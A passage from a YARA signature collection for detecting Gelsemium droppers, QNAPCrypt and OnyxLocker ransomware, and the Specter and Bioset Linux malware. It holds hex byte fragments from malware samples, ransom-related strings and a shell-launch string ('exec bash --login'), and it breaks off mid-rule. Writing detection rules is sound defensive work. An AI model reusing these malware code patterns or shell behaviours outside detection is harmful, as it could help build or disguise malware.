00 84 db 0f 84 36 08 00 00 4c 89 a5 88 04 00 00 4c 89 a5 90 04 00 00 e8 f7 3b 01 00 48 89 85 88 04 00 00 48 c7 45 50 07 00 00 00 4c 89 65 48 66 44 89 65 38 41 b8 0b 00 00 00 48 8d 15 2a d6 08 00 48 8d 4d 38 e8 59 ae 00 00 90 e8 b3 2c ff ff 48 8d 48 30 48 8d 55 38 e8 96 75 00 00 48 c7 85 b0 04 00 00 07 00 00 00 4c 89 a5 a8 04 00 00 66 44 89 a5 98 04 00 00 4d 8b ce 45 33 c0 48 8b d0 48 8d 8d 98 04 00 00 e8 d7 ac 00 00 90 48 83 7d 50 08 72 0a 48 8b 4d 38 ff 15 fd 2f 06 00 48 c7 45 50 07 00 00 00 4c 89 65 48 66 44 89 65 38 4c 89 a5 b8 04 00 00 4c 89 a5 c0 04 00 00 4c 89 a5 c8 04 00 00 48 c7 45 00 07 00 00 00 4c 89 65 f8 66 44 89 65 e8 41 b8 01 00 00 00 48 8d 15 0d e3 08 00 48 8d 4d e8 e8 b8 ad 00 00 90 48 c7 45 c0 07 00 00 00 4c 89 65 b8 66 44 89 65 a8 41 b8 0d 00 00 00 48 8d 15 e9 e2 08 00 48 8d 4d a8 e8 90 ad 00 00 90 e8 ea 2b ff ff 48 8d 48 30 48 8d 55 a8 e8 cd 74 00 00 48 8b d0 4c 8d 45 e8 48 8d 8d b8 04 00 00 e8 1a 55 01 00 90 48 83 7d c0 08 72 0a 48 8b 4d a8 ff 15 50 2f 06 00 48 c7 45 c0 07 00 00 00 4c 89 65 b8 66 44 89 65 a8 48 83 7d 00 08 72 0a 48 8b 4d e8 ff 15 2e 2f 06 00 48 c7 45 00 07 00 00 00 4c 89 65 f8 66 44 89 65 e8 48 8d 85 98 04 00 00 48 89 85 c0 00 00 00 48 8d 85 88 04 00 00 48 89 85 c8 00 00 00 48 8b 9d b8 04 00 00 48 8b bd c0 04 00 00 48 3b df 0f 84 8b 02 00 00 66 90 4c 89 a5 48 05 00 00 4c 89 a5 50 05 00 00 48 c7 45 30 07 00 00 00 4c 89 65 28 66 44 89 65 18 4c 8d 85 50 04 00 00 48 83 bd 68 04 00 00 08 4c 0f 43 85 50 04 00 00 48 8d 95 50 04 00 00 48 0f 43 95 50 04 00 00 48 8b 85 60 04 00 00 4d 8d 04 40 48 8d 4d 18 e8 37 b4 01 00 90 48 8d 55 18 48 8d 8d 48 05 00 00 e8 36 9a 00 00 90 48 83 7d 30 }
		$s2 = { 48 c7 85 b0 04 00 00 07 00 00 00 4c 89 a5 a8 04 00 00 66 44 89 a5 98 04 00 00 4c 8b 85 88 04 00 00 4d 8b c8 4d 8b 00 48 8d 95 28 02 00 00 48 8d 8d 88 04 00 00 e8 d1 fe 00 00 48 8b 8d 88 04 00 00 ff 15 5c 28 06 00 48 c7 45 e0 0f 00 00 00 4c 89 65 d8 c6 45 c8 00 41 b8 0e 00 00 00 48 8d 15 b7 db 08 00 48 8d 4d c8 e8 ee d0 00 00 90 48 8d 4d c8 e8 54 8c 01 00 48 8b d8 48 83 7d e0 10 72 0a 48 8b 4d c8 ff 15 18 28 06 00 48 c7 45 e0 0f 00 00 00 4c 89 65 d8 c6 45 c8 00 48 }
		$s3 = { 48 8d 8d a8 02 00 00 e8 88 64 01 00 90 48 8b 08 48 89 4c 24 38 48 8b 48 08 48 89 4c 24 40 4c 89 20 4c 89 60 08 48 8d 54 24 38 48 8d 4c 24 48 e8 a0 8e 01 00 90 48 c7 45 a0 07 00 00 00 4c 89 65 98 66 44 89 65 88 41 b8 0b 00 00 00 48 8d 15 d9 d3 08 00 48 8d 4d 88 e8 a8 a5 00 00 90 48 8d 54 24 48 48 8d 4d 88 e8 d9 60 00 00 90 48 83 7d a0 08 72 0a 48 8b 4d 88 ff 15 7f 27 06 00 48 c7 45 a0 07 00 00 00 4c 89 65 98 66 44 89 65 88 48 8b 4c 24 48 48 85 c9 74 0b 48 8b 01 ba 01 00 00 00 ff 10 90 48 8b 4c 24 40 }
		$s4 = { 48 83 7c 24 58 08 72 0b 48 8b 4c 24 40 ff 15 85 df 06 00 49 8b ce e8 05 dd ff ff e8 e0 db ff ff 48 8d 78 30 e8 27 fc ff ff 33 f6 84 c0 0f 85 ae 01 00 00 48 c7 44 24 38 07 00 00 00 48 89 74 24 30 66 89 74 24 20 44 8d 46 07 48 8d 15 cf 84 09 00 48 8d 4c 24 20 e8 45 5d 01 00 90 48 c7 44 24 58 07 00 00 00 48 89 74 24 50 66 89 74 24 40 44 8d 46 07 48 8d 15 a6 84 09 00 48 8d 4c 24 40 e8 1c 5d 01 00 90 48 8d 54 24 20 48 8b cf e8 5e 24 01 00 48 8b d8 48 8d 54 24 40 48 8d 4d 18 e8 4d 24 01 00 48 8b c8 48 8b d3 e8 72 c1 ff ff 85 c0 0f 9e c3 48 83 7c 24 58 08 72 0b 48 8b 4c 24 40 ff 15 d2 de 06 00 48 c7 44 24 58 07 00 00 00 48 89 74 24 50 66 89 74 24 40 48 83 7c 24 38 08 72 0b 48 8b 4c 24 20 ff 15 ac de 06 00 84 db 0f 84 ed 00 00 00 48 c7 44 24 38 07 00 00 00 48 89 74 24 30 66 89 74 24 20 41 b8 20 00 00 00 48 8d 15 ec 84 09 00 48 8d 4c 24 20 e8 82 5c 01 00 90 48 8d 05 3a aa 09 00 48 89 44 24 40 48 c7 44 24 60 07 00 00 00 48 89 74 24 58 66 89 74 24 48 49 83 c9 ff 45 33 c0 48 8d 54 24 20 48 8d 4c 24 48 e8 0c 5b 01 00 90 48 8d 05 e4 a8 09 00 48 89 45 80 48 8d 4d 88 ff 15 76 de 06 00 48 8d 05 ff e7 06 00 48 89 45 a0 48 89 75 a8 48 89 75 b0 48 89 75 b8 c7 45 c0 ff ff ff ff 48 8b 45 80 48 63 48 04 48 8d 05 71 9a 09 00 48 89 44 0d 80 48 8b 45 80 48 63 48 08 48 8d 05 bd ac 09 00 48 89 44 0d 80 48 8d 54 24 40 48 8d 4d 80 e8 a2 e0 02 00 48 8b d0 41 b8 01 00 00 00 48 8d 4d d0 e8 e0 05 00 00 48 8d 15 81 f8 0b 00 48 8d 4d d0 e8 a2 46 06 00 90 48 c7 44 24 38 07 00 00 00 48 89 74 24 30 66 89 74 24 20 41 b8 0b 00 00 00 48 8d 15 67 83 09 00 48 8d 4c 24 20 e8 95 5b 01 00 90 48 8d 54 24 20 49 8b cd e8 d7 22 01 00 49 3b c4 74 13 49 83 c9 ff 45 33 c0 49 8b d4 48 8b c8 e8 30 5a 01 00 90 48 83 7c 24 38 08 72 0b 48 8b 4c 24 20 ff 15 54 dd 06 00 48 c7 44 24 38 07 00 00 00 48 89 74 24 30 66 89 74 24 20 41 b8 07 00 00 00 48 8d 15 bc 82 09 00 48 8d 4c 24 20 e8 32 5b 01 00 90 48 c7 44 24 58 07 00 00 00 48 89 74 24 50 66 89 74 24 40 41 b8 07 00 00 00 48 8d 15 91 82 09 00 48 8d 4c 24 40 e8 07 5b 01 00 90 48 8d 54 24 20 48 8d 4d 18 e8 48 22 01 00 48 8b d8 48 8d 54 24 40 48 8b cf e8 38 22 01 00 48 3b c3 74 13 49 83 c9 ff 45 33 c0 48 8b d3 48 8b c8 e8 91 59 01 00 90 48 83 7c 24 58 08 72 0b 48 8b 4c 24 40 ff 15 b5 dc 06 00 48 c7 44 24 58 07 00 00 00 48 89 74 24 50 66 89 74 24 40 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 300KB and 3 of ( $s* )
}


rule ARKBIRD_SOLG_APT_Gelsemium_Gelsemine_June_2021_1 : FILE
{
	meta:
		description = "Detect Gelsemine malware (Dropper - Variant 1)"
		author = "Arkbird_SOLG"
		id = "cfe932fd-ff50-5e54-824c-e11afe8e8575"
		date = "2021-06-12"
		modified = "2021-06-14"
		reference = "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-13/Gelsemium/APT_Gelsemium_Gelsemine_June_2021_1.yara#L1-L19"
		license_url = "N/A"
		logic_hash = "2b5031412de163ad92dfe00c7da331eb36c4ce7b590df48dfa84df0104e93b15"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "00b701e3ef29912c1fcd8c2154c4ae372cfe542cfa54ffcce9fb449883097cec"
		hash2 = "109d4b8878b8c8f3b7015f6b3ae573a6799296becce0f32ca3bd216bee0ab473"
		hash3 = "fe71b66d65d5ff9d03a47197c99081d9ec8d5f6e95143bdc33f5ea2ac0ae5762"
		hash3 = "29e78ca3cb49dd2985a29e74cafb1a0a15515670da0f4881f6095fb2926bfefd"
		tlp = "white"
		adversary = "Gelsemium"
	strings:
		$s1 = { 8b 44 24 04 83 ec 40 85 c0 53 55 56 57 0f 84 ec 15 00 00 8b 58 1c 85 db 0f 84 e1 15 00 00 8b 48 0c 85 c9 0f 84 d6 15 00 00 83 38 00 75 0b 8b 48 04 85 c9 0f 85 c6 15 00 00 83 3b 0b 75 06 c7 03 0c 00 00 00 8b 48 0c 8b 30 8b 78 04 8b 53 38 8b 6b 3c 89 4c 24 28 8b 48 10 8b 03 83 f8 1e 89 4c 24 20 89 74 24 14 89 7c 24 18 89 54 24 10 89 7c 24 38 89 4c 24 2c c7 44 24 34 00 00 00 }
		$s2 = { 33 c0 33 d2 8a 06 8a 56 01 03 c8 33 c0 8a 46 02 03 f9 03 ca 33 d2 8a 56 03 03 f9 03 c8 33 c0 8a 46 04 03 f9 03 ca 33 d2 8a 56 05 03 f9 03 c8 33 c0 8a 46 06 03 f9 03 ca 33 d2 8a 56 07 03 f9 03 c8 33 c0 8a 46 08 03 f9 03 ca 33 d2 8a 56 09 03 f9 03 c8 33 c0 8a 46 0a 03 f9 03 ca 33 d2 8a 56 0b 03 f9 03 c8 33 c0 8a 46 0c 03 f9 03 ca 33 d2 8a 56 0d 03 f9 03 c8 33 c0 8a 46 0e 03 f9 03 ca 33 d2 8a 56 0f 03 f9 03 c8 83 c6 10 03 f9 03 ca 03 f9 4d 0f 85 67 ff ff ff 8b c1 33 d2 b9 f1 ff 00 00 f7 f1 8b c7 bf f1 ff 00 00 8b ca 33 d2 f7 f7 ff 4c 24 18 8b fa 0f 85 38 ff ff ff 85 db 0f 84 da 00 00 00 83 fb 10 0f 82 a1 00 00 00 8b eb c1 ed 04 33 d2 33 c0 8a 16 8a 46 01 03 ca 33 d2 8a 56 02 03 f9 03 c8 33 c0 8a 46 03 03 f9 03 ca 33 d2 8a 56 04 03 f9 03 c8 33 c0 8a 46 05 03 f9 03 ca 33 d2 8a 56 06 03 f9 03 c8 33 c0 8a 46 07 03 f9 03 ca 33 d2 8a 56 08 03 f9 03 c8 33 c0 8a 46 09 03 f9 03 ca 33 d2 8a 56 0a 03 f9 03 c8 33 c0 8a 46 0b 03 f9 03 ca 33 d2 8a 56 0c 03 f9 03 c8 33 c0 8a 46 0d 03 f9 03 ca 33 d2 8a 56 0e 03 f9 03 c8 33 c0 8a 46 0f 03 f9 03 ca 83 eb 10 03 f9 03 c8 03 f9 83 c6 10 }
		$s3 = { 55 8b ec 6a ff 68 [2] 40 00 68 [2] 40 00 64 a1 00 00 00 00 50 64 89 25 00 00 00 00 83 ec 68 53 56 57 89 65 e8 33 db 89 5d fc 6a 02 5f 57 ff 15 [2] 40 00 59 83 0d [2] 41 00 ff 83 0d [2] 41 00 ff ff 15 [2] 40 00 8b 0d [2] 41 00 89 08 ff 15 [2] 40 00 8b 0d [2] 41 00 89 08 a1 [2] 40 00 8b 00 a3 [2] 41 00 e8 ?? 01 00 00 39 1d [3] 00 75 0c 68 [2] 40 00 ff 15 [2] 40 00 59 e8 ?? 01 00 00 68 [3] 00 68 [3] 00 e8 ?? 01 00 00 a1 [2] 41 00 89 45 94 8d 45 94 50 ff 35 [2] 41 00 8d 45 9c 50 8d 45 90 50 8d 45 a0 50 ff 15 [2] 40 00 68 [3] 00 68 00 [2] 00 e8 ?? 01 00 00 83 c4 24 a1 [2] 40 00 8b 30 3b }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 150KB and all of ( $s* )
}

rule ARKBIRD_SOLG_RAN_ELF_Qnapcrypt_Aug_2021_2 : FILE
{
	meta:
		description = "Detect QNAPCrypt ransomware (x64 version)"
		author = "Arkbird_SOLG"
		id = "8cd54646-87da-5261-82f3-68ab96549379"
		date = "2021-08-11"
		modified = "2021-08-12"
		reference = "https://bazaar.abuse.ch/browse/tag/QNAPCrypt/"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-08-11/QNAPCrypt/RAN_ELF_QNAPCrypt_Aug_2021_2.yara#L1-L22"
		license_url = "N/A"
		logic_hash = "9eb3a499afbaaf2addb8ee12cc2d479ebbacd4d19cc270e995f12e83546008b4"
		score = 75
		quality = 73
		tags = "FILE"
		hash1 = "4829041c64971a0cb37d55e6ba83a57e01e76b26f3f744814b59bedbb3fefce8"
		hash2 = "50470f94e7d65b50bf00d7416a9634d9e4141c5109a78f5769e4204906ab5f0b"
		hash3 = "f9f5265f4c748ce0e2171915fb8edb6d967539ac46d624db8eb2586854dd0d9e"
		tlp = "white"
		adversary = "-"
	strings:
		$s1 = { 52 45 41 44 4d 45 5f 46 4f 52 5f 44 45 43 52 59 50 54 }
		$s2 = { 64 48 8b 0c 25 f8 ff ff ff 48 8d 44 24 ?? 48 3b 41 10 0f 86 [2] 00 00 48 81 ec ?? 00 00 00 48 89 ac 24 ?? 00 00 00 48 8d ac 24 ?? 00 00 00 48 8b 05 [3] 00 48 83 3d [3] 00 00 0f 86 [2] 00 00 48 8b 48 08 48 8b 00 48 89 04 24 48 89 4c 24 08 e8 [3] ff 48 c7 04 24 20 00 00 00 e8 [2] 00 00 48 c7 04 24 00 00 00 00 e8 [3] ff 48 8b 44 24 20 48 89 44 24 58 48 8b 4c 24 18 48 89 8c 24 88 00 00 00 48 8b 54 24 28 48 89 54 24 60 48 }
		$s3 = { 48 81 ec ?? 00 00 00 48 89 ac 24 ?? 00 00 00 48 8d ac 24 ?? 00 00 00 }
		$s4 = { 64 48 8b 0c 25 f8 ff ff ff 48 [0-5] 3b ?? 10 0f 86 [2] 00 00 48 ?? ec }
		$s5 = { 48 83 ec 78 48 89 6c 24 70 48 8d 6c 24 70 48 8b 05 [3] 00 48 8b 0d [3] 00 48 8b 15 [3] 00 48 89 0c 24 48 89 44 24 08 48 89 54 24 10 e8 [3] ff 48 8b 44 24 18 48 85 c0 0f 84 10 01 00 00 48 8b 48 28 48 8b 50 20 48 8b 40 18 48 89 04 24 48 89 54 24 08 48 89 4c 24 10 e8 [3] ff 48 8b 44 24 18 48 8b 4c 24 20 48 8b 54 24 28 48 8b 5c 24 30 48 85 d2 0f 85 a3 00 00 00 48 8d 15 [2] 03 00 48 39 d0 0f 85 13 01 00 00 48 8b 05 [3] 00 48 8b 15 [3] 00 48 89 04 24 48 89 54 24 08 48 89 4c 24 10 48 8b 84 24 80 00 00 00 48 89 44 24 18 48 8b 84 24 88 00 00 00 48 89 44 24 20 48 8b 84 24 90 00 00 00 48 89 44 24 28 e8 [3] ff 48 8b 44 24 38 48 8b 4c 24 40 48 8b 54 24 48 48 8b 5c 24 50 48 8b 74 24 30 48 89 b4 24 98 00 00 00 48 89 84 24 a0 00 00 00 48 89 8c 24 a8 00 00 00 48 89 94 24 b0 00 00 00 48 89 9c 24 b8 00 00 00 48 8b 6c 24 }
		$s6 = { 48 81 ec 48 01 00 00 48 89 ac 24 40 01 00 00 48 8d ac 24 40 01 00 00 48 8d 7c 24 38 48 8d 35 [2] 0f 00 48 89 6c 24 f0 48 8d 6c 24 f0 e8 [3] ff 48 8b 6d 00 48 8d 05 [2] 02 00 48 89 04 24 48 8b 84 24 50 01 00 00 48 89 44 24 08 48 89 44 24 10 e8 [3] ff 48 8b 44 24 18 48 89 84 24 38 01 00 00 31 c9 eb 18 8b 54 84 38 48 8b 5c 24 30 48 8b 84 24 38 01 00 00 89 14 98 48 8d 4b 01 48 8b 94 24 50 01 00 00 48 39 d1 7d 2c 48 89 4c 24 30 90 48 8b 05 [3] 00 48 89 04 24 48 c7 44 24 08 40 00 00 00 e8 [3] ff 48 8b 44 24 10 48 83 f8 40 72 b1 eb 46 48 c7 04 24 00 00 00 00 48 89 44 24 08 48 89 54 24 10 48 89 54 24 18 e8 [3] ff 48 8b 44 24 28 48 8b 4c 24 20 48 89 8c 24 58 01 00 00 48 89 84 24 60 01 00 00 48 8b ac 24 40 01 00 }
	condition:
		uint32( 0 ) == 0x464C457F and filesize > 25KB and all of ( $s* )
}


rule ARKBIRD_SOLG_Ran_Onyxlocker_Nov_2020_1 : FILE
{
	meta:
		description = "Detect OnyxLocker ransomware"
		author = "Arkbird_SOLG"
		id = "bb7d914c-a074-5d79-a5d2-43c5a0adf49e"
		date = "2020-11-18"
		modified = "2020-11-18"
		reference = "https://twitter.com/Kangxiaopao/status/1328614320016560128"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-18/OnyxLocker/Ran_OnyxLocker_Nov_2020_1.yar#L1-L27"
		license_url = "N/A"
		logic_hash = "1ccca1040acee5bb937fd5ebb3536f8c644d3586229d01457d780bef5fcb57a1"
		score = 75
		quality = 71
		tags = "FILE"
		hash1 = "7e3c97d3d274b5f7fedad6e392e6576ac3e5724ddd7e48c58a654b6b95eb40d7"
	strings:
		$s1 = "IEncryptionProvider" fullword ascii
		$s2 = "OnyxLocker.exe" fullword wide
		$s3 = "GetEncryptionThreads" fullword ascii
		$s4 = "CreateEncryptionKey" fullword ascii
		$s5 = ".NETFramework,Version=v4.5.2" fullword ascii
		$s6 = "get_TargetFiles" fullword ascii
		$s7 = "IsTargetFile" fullword ascii
		$s8 = "<TargetFiles>k__BackingField" fullword ascii
		$s9 = "XxteaEncryptionProvider" fullword ascii
		$s10 = "GetStartingFolders" fullword ascii
		$s11 = "<EncryptionKey>k__BackingField" fullword ascii
		$s12 = "RECOVERY INSTRUCTIONS" fullword wide
		$s13 = "$182eaa96-fcb2-458b-85cb-a9b8da57ae71" fullword ascii
		$s14 = ".NET Framework 4.5.2" fullword ascii
		$s15 = "TraverseDirectories" fullword ascii
		$s16 = "{0} {1}" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 8KB and 8 of them
}

rule ARKBIRD_SOLG_MAL_ELF_Specter_Jul_2021_1 : FILE
{
	meta:
		description = "Detect the Specter malware"
		author = "Arkbird_SOLG"
		id = "24237a56-2717-5efc-9bfb-9ab6d87e082b"
		date = "2021-07-02"
		modified = "2021-07-05"
		reference = "https://twitter.com/JAMESWT_MHT/status/1410870749473148930"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-04/Specter/MAL_ELF_Specter_Jul_2021_1.yara#L1-L20"
		license_url = "N/A"
		logic_hash = "de737f051d34edb2219e77c0d4f0239b95bad9983ee5e435d6ee9741525816f0"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "0bff46518b35ddfe37f4a7820286aab829d81f1480d9eeca5aaedc9ceda6724f"
		hash2 = "be97d7ae3b2d876f027d99d8d61dbca92513f4975336c2ebc26cf8a0839b67b6"
		tlp = "White"
		adversary = "Specter"
	strings:
		$s1 = { 41 57 41 89 cf 41 56 4d 89 c6 41 55 41 89 f5 be 01 00 00 00 41 54 49 89 fc bf 02 00 00 00 55 89 d5 31 d2 53 48 83 ec 38 48 c7 44 24 20 00 00 00 00 48 c7 44 24 28 00 00 00 00 e8 cf bf fe ff be 03 00 00 00 89 c3 89 c7 31 c0 e8 1f c4 fe ff 80 cc 08 be 04 00 00 00 89 df 89 c2 31 c0 e8 0c c4 fe ff 48 8d 74 24 20 89 ea 89 df 66 c1 ca 08 66 89 54 24 22 ba 10 00 00 00 66 c7 44 24 20 02 00 44 89 e8 31 ed 0f c8 89 44 24 24 e8 ae be fe ff 85 c0 0f 84 c5 00 00 00 e8 11 c0 fe ff 83 38 73 48 89 c5 74 07 89 df e8 12 b8 fe ff 8b 6d 00 83 fd 73 0f 85 a5 00 00 00 bf 1c 00 00 00 e8 dc b9 fe ff 48 85 c0 48 89 c2 0f 84 8c 00 00 00 44 89 68 14 89 58 18 4d 8d 6c 24 60 44 89 78 10 41 0f 10 06 4c 89 ef 4d 8d 74 24 50 0f 11 02 0f 29 04 24 48 89 04 24 e8 74 c2 fe ff bf 18 00 00 00 e8 b2 b5 07 00 48 85 c0 74 17 48 8b 14 24 48 c7 00 00 00 00 00 48 c7 40 08 00 00 00 00 48 89 50 10 4c 89 f6 48 89 c7 e8 9b fe 08 00 4c 89 ef e8 0b c3 fe ff 41 8b bc 24 88 00 00 00 48 8d 4c 24 14 89 da be 01 00 00 00 89 5c 24 18 c7 44 24 14 1d 20 00 80 e8 26 bd fe }
		$s2 = { 55 31 c0 b9 5d 00 00 00 53 48 89 fb 48 81 ec 48 01 00 00 48 8d 7c 24 4e f3 aa 48 8d 7c 24 4e e8 d2 03 00 00 48 8d bc 24 ab 00 00 00 31 c0 b9 07 00 00 00 48 8d 74 24 28 c7 44 24 30 00 00 00 00 48 c7 44 24 38 00 00 00 00 f3 ab 48 8b 84 24 70 01 00 00 48 8d 7c 24 4e 48 89 44 24 40 48 8d 44 24 30 48 89 44 24 28 e8 36 08 00 00 8b 6c 24 30 85 ed 0f 85 89 00 00 00 48 8b 44 24 40 48 8b 00 48 8b 40 e8 48 39 44 24 38 75 76 48 8d bc 24 c7 00 00 00 31 c0 b9 5d 00 00 00 f3 aa 48 8d bc 24 c7 00 00 00 e8 4d 03 00 00 48 8d bc 24 24 01 00 00 b9 07 00 00 00 89 e8 48 8d 94 24 c7 00 00 00 48 8d 74 24 4e f3 ab 48 8d 7b 18 e8 64 26 00 00 b9 08 00 00 00 48 89 e7 48 8d b4 24 60 01 00 00 f3 a5 48 8d b4 24 c7 00 00 00 89 c2 48 89 df e8 6e fb ff ff 48 8d bc 24 c7 00 00 00 e8 e3 03 00 00 48 8d 7c 24 4e e8 d9 03 00 00 48 81 c4 }
		$s3 = { 83 fa 03 0f 86 e6 00 00 00 41 57 41 56 41 55 41 54 49 89 cc 55 48 89 fd 53 48 89 f3 48 83 ec 28 66 8b 46 04 44 8b 76 0c 44 8b 3e 66 89 44 24 0c 66 8b 46 06 45 8d 6e 01 44 89 7c 24 08 44 89 74 24 14 66 89 44 24 0e 8b 46 08 4c 89 ef 89 44 24 10 e8 f4 b3 fe ff 48 89 c2 48 89 44 24 18 4c 89 e9 31 c0 48 89 d7 48 8d 73 10 f3 aa 48 89 d7 4c 89 f1 f3 a4 44 89 fe 48 89 ef e8 9b fa ff ff ff c0 74 07 4c 89 e1 31 d2 eb 4b 66 83 7c 24 0e 03 75 21 48 8b 74 24 18 48 8d 54 24 10 48 89 ef e8 d4 f8 ff ff 84 c0 75 0b e8 ad b9 fe ff 8b 00 85 c0 75 18 0f b7 54 24 0c 8b 4c 24 08 4d 89 e0 8b 74 24 10 48 89 ef e8 e1 f8 ff ff 83 f8 73 74 11 4c 89 e1 89 c2 8b 74 24 08 48 89 ef e8 ff fe ff ff 48 83 }
		$s4 = { 48 8d 05 5a 5f 0b 00 48 89 84 24 80 00 00 00 48 8b 05 cf 75 30 00 be 18 00 00 00 bf 01 00 00 00 ff 10 48 85 c0 48 89 84 24 98 00 00 00 0f 84 fa fc ff ff 4c 8d bc 24 98 00 00 00 48 8b 54 24 60 48 8d 35 00 2b 0b 00 31 c0 4c 89 ff e8 2c ef ff ff 85 c0 0f 85 f4 fb ff ff 49 8b b5 f8 0d 00 00 48 85 f6 0f 84 13 09 00 00 31 ed 41 0f b7 86 ac 03 00 00 66 25 20 40 66 83 f8 20 0f 84 03 09 00 00 80 7c 24 78 00 0f 84 01 07 00 00 49 8b 8e 18 02 00 00 49 8b 96 10 02 00 00 4c 8d 46 06 48 8d 35 a6 2a 0b 00 4c 89 ff 31 c0 e8 ce ee ff ff 85 c0 0f 85 96 fb ff ff 41 0f b7 86 ac 03 00 00 4c 8d 25 42 eb 0a 00 66 25 20 40 66 83 f8 20 0f 84 55 0b 00 00 49 83 bd f8 0e 00 00 00 48 8d 05 25 eb 0a 00 74 0e 49 8b 96 30 04 00 00 48 85 d2 48 0f 45 c2 49 8b 95 68 0c 00 00 48 8d 35 07 eb 0a 00 48 85 d2 74 13 80 3a 00 74 0e 49 8b 96 18 04 00 00 48 85 d2 48 0f 45 f2 49 8b 96 50 04 00 00 48 8d 0d e1 ea 0a 00 48 85 d2 48 0f 44 d1 49 89 d3 48 8b 54 24 50 48 8b 52 20 48 85 d2 48 0f 44 d1 49 89 d2 49 8b 95 50 0d 00 00 48 85 d2 74 13 80 3a 00 74 0e 49 8b 96 10 04 00 00 48 85 d2 48 0f 45 ca 41 f6 85 85 15 00 00 02 48 8d 2d 96 ea 0a 00 74 0e 49 8b 96 28 04 00 00 48 85 d2 48 0f 45 ea 49 8b be 20 04 00 00 48 8d 15 78 ea 0a 00 4d 8b 8e 08 04 00 00 4d 8b 86 38 04 00 00 48 89 4c 24 10 48 8b 8c 24 80 00 00 00 48 89 74 24 28 48 8d 35 f6 23 0b 00 48 85 ff 4c 89 5c 24 20 4c 89 54 24 18 48 0f 44 fa 4d 85 c9 48 89 44 24 30 48 89 7c 24 60 48 8b 7c 24 70 4c 0f 44 ca 4d 85 c0 48 89 6c }
		$s5 = { 8b 44 24 50 4d 85 ff 4c 89 38 0f 85 12 f8 ff ff e9 dc f9 ff ff 0f 1f 84 00 00 00 00 00 49 83 bd 68 0c 00 00 00 0f 84 bb f7 ff ff 48 8b 05 e3 6f 30 00 49 8b be 18 04 00 00 ff 10 49 8b b5 68 0c 00 00 48 8d 3d ae 26 0b 00 31 c0 49 c7 86 18 04 00 00 00 00 00 00 e8 22 9b 00 00 48 85 c0 49 89 86 18 04 00 00 0f 85 96 f7 ff ff e9 1d f9 ff ff 0f 1f 44 00 00 41 80 bd ea 0e 00 00 00 48 8d 05 01 26 0b 00 48 89 44 24 60 0f 88 2f f6 ff ff 83 fb 07 0f 87 2a 01 00 00 48 8d 05 76 28 0b 00 89 da 48 63 14 90 48 01 d0 ff e0 0f 1f 00 4c 8b 7c 24 50 49 8b 3f e8 e3 fa fe ff 85 c0 0f 85 eb f7 ff ff 49 8b 3f e8 f3 fa fe ff 49 89 47 08 e9 1e f9 ff ff 66 2e 0f 1f 84 00 00 00 00 00 49 8b b6 d0 00 00 00 49 8b bd f0 10 00 00 e8 5d cf 00 00 85 c0 0f 85 91 f9 ff ff 49 8b 86 d8 03 00 00 45 8b 86 98 01 00 00 8b 80 80 00 00 00 a8 02 74 0d 41 81 f8 bb 01 00 00 0f 84 b9 01 00 00 a8 01 74 0a 41 83 f8 50 0f 84 ab 01 00 00 41 0f b6 86 ad 03 00 00 48 8d 0d 2e e7 0a 00 48 8d 15 8a 1c 0b 00 48 8d 3d de 25 0b 00 48 89 ce 83 e0 02 48 8d 05 3c 07 0b 00 48 0f 45 ca 48 8b 54 24 58 48 0f 45 f0 31 c0 e8 14 9a 00 00 49 89 86 38 04 00 00 48 85 c0 0f 85 99 f9 ff ff e9 0f f8 ff ff 48 8d 05 05 25 0b 00 48 89 44 24 60 e9 2f f5 ff ff 48 8d 05 ef 24 0b 00 48 89 44 24 60 e9 1e f5 ff ff 48 8d 05 56 cd 0a 00 48 89 44 24 60 e9 0d f5 ff ff 48 8d 05 d6 24 0b 00 48 89 44 24 60 e9 fc f4 ff ff 48 8d 05 0e d1 0a 00 48 89 44 24 60 e9 eb f4 ff ff 66 2e 0f 1f 84 00 00 00 00 00 49 8b 86 d0 03 00 00 f6 80 80 00 00 00 03 74 28 8d 43 fd 83 f8 01 0f 86 6a 02 00 00 41 f6 85 eb 0e 00 00 01 74 12 49 83 bd f8 14 00 00 ff 0f 84 62 02 00 00 0f 1f 40 00 41 80 a5 68 06 00 00 bf 48 8d 05 44 e6 0a 00 41 f6 85 68 06 00 00 40 48 89 c1 48 8d 05 60 24 0b 00 48 0f 44 c1 48 89 44 24 70 e9 01 f8 ff ff 66 0f 1f 84 00 00 00 00 00 83 7f 18 04 4c 8d 3d f3 0a 0b 00 }
	condition:
		uint32( 0 ) == 0x464c457f and filesize > 100KB and 4 of ( $s* )
}

rule ARKBIRD_SOLG_MAL_ELF_Bioset_Jul_2021_1 : FILE
{
	meta:
		description = "Detect the Bioset malware"
		author = "Arkbird_SOLG"
		id = "1b95c3df-7543-521c-a28b-d540ad0bd648"
		date = "2021-07-02"
		modified = "2021-07-05"
		reference = "https://twitter.com/JAMESWT_MHT/status/1409848815948111877"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-04/Bioset/MAL_ELF_Bioset_Jul_2021_1.yara#L1-L26"
		license_url = "N/A"
		logic_hash = "b5ba7f4517f07d8657cbd54695cad88d8c2f263ee010bd70c4a05433b2927576"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "3afe2ec273608be0b34b8b357778cc2924c344dd1b00a84cf90925eeb2469964"
		hash2 = "3de97c2b211285022a34a62b536cef586d987939d40d846930c201d010517a10"
		hash3 = "b00157dbb371e8abe19a728104404af61acc3c5d4a6f67c60e694fe0788cb491"
		hash4 = "7fa37dd67dcd04fc52787c5707cf3ee58e226b98c779feb45b78aa8a249754c7"
		hash5 = "79e93f6e5876f31ddc4a6985b290ede6a2767d9a94bdf2057d9c464999163746"
		tlp = "White"
		adversary = "-"
	strings:
		$s1 = "exec bash --login" fullword ascii
